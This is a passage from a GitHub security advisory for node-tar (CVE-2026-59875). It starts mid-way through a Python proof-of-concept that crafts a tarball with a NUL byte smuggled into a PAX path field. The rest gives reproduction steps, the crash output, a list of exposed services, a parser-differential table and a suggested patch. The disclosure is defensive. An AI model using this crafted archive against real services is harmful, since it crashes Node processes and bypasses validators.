body += str(total).encode() + kv\n    return pad512(hdr(b\u0027PaxHeader/poc\u0027, len(body), b\u0027x\u0027) + body)\n\nout  = pax([(b\u0027path\u0027, b\u0027visible.txt\\x00hidden.txt\u0027)])  # NUL in PAX path\nout += hdr(b\u0027placeholder\u0027, 1, b\u00270\u0027)\nout += pad512(b\u0027A\u0027)\nout += b\u0027\\0\u0027 * 1024  # end-of-archive\n\nopen(\u0027poc.tar\u0027, \u0027wb\u0027).write(out)\n```\n\n### Reproduction\n\n```bash\n# 1. Generate tarball\npython3 poc1-pax-prefix.py          # writes poc.tar (3 KB)\n\n# 2. Install vulnerable version\nmkdir repro \u0026\u0026 cd repro\nnpm init -y \u0026\u0026 npm install tar@7.5.16\n\n# 3. Try to extract with documented try/catch \u2014 observe uncaught exception\nmkdir -p ./out\nnode --input-type=module -e \u0027\n  process.on(\"uncaughtException\", e =\u003e {\n    console.log(\"UNCAUGHT:\", e.code, \"-\", e.message);\n    process.exit(99);\n  });\n  import(\"tar\").then(async tar =\u003e {\n    try {\n      await tar.x({ file: \"../poc.tar\", cwd: \"./out\" });\n      console.log(\"NORMAL_RETURN\");\n    } catch (e) {\n      console.log(\"CAUGHT_BY_USER:\", e.code);\n    }\n  });\u0027\n```\n\n### Observed output (verified 2026-06-23 against `tar@7.5.16`)\n\n```\nUNCAUGHT: ERR_INVALID_ARG_VALUE - The argument \u0027path\u0027 must be a string,\nUint8Array, or URL without null bytes.\nReceived \u0027/.../out/visible.txt\\x00hidden.txt\u0027\nexit: 99\n```\n\nThe exception bypasses the user\u0027s `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits.\n\n---\n\n## Impact\n\n### Direct: remote DoS\n\nAny service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:\n\n- npm registry tarball ingestion and downstream mirrors\n- GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains)\n- Container image build pipelines that unpack layer tarballs through node tooling\n- Backup-restore services accepting user uploads\n- CI artifact processors and badge generators\n- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs\n- Cloud functions that auto-extract uploaded archives\n\nA correctly-coded consumer that does:\n\n```js\ntry {\n  await tar.x({ file: req.upload.path, cwd: tmpdir });\n} catch (e) {\n  return res.status(400).json({ error: \u0027bad archive\u0027 });\n}\n```\n\ndoes not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.\n\n### Secondary: parser-differential validator bypass (CWE-436)\n\n| Tool                       | Result for `path=visible.txt\\x00hidden.txt` |\n|----------------------------|----------------------------------------------|\n| GNU tar (`tar -tvf`)       | Lists `visible.txt` (truncated at NUL)      |\n| `bsdtar -tvf`              | Lists `visible.txt` (truncated at NUL)      |\n| Python `tarfile.list()`    | Lists `visible.txt\\x00hidden.txt` (raw)     |\n| node-tar `tar.t({file})`   | Emits raw NUL-bearing path (no crash)       |\n| node-tar `tar.x({file})`   | **Crashes** (uncaught throw)                |\n\nA pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.\n\n---\n\n## Suggested patch\n\nMatch the long-name handler in `parse.ts` \u2014 strip everything from the first NUL onward in `parseKVLine` value parsing:\n\n```diff\n--- a/src/pax.ts\n+++ b/src/pax.ts\n@@ -173,7 +173,7 @@ const parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n\n   const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, \u0027$1\u0027)\n\n-  const v = kv.join(\u0027=\u0027)\n+  const v = kv.join(\u0027=\u0027).replace(/\\0.*$/, \u0027\u0027)\n   set[k] =\n     /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n       new Date(Number(v) * 1000)\n```\n\nThis matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change.\n\nA defense-in-depth follow-up: add an explicit `assert(!v.includes(\u0027\\0\u0027))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren\u0027t* path/linkpath also can\u0027t smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL).",
  "id": "GHSA-gvwx-54wh-qm9j",
  "modified": "2026-07-20T21:51:12Z",
  "published": "2026-07-20T21:51:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.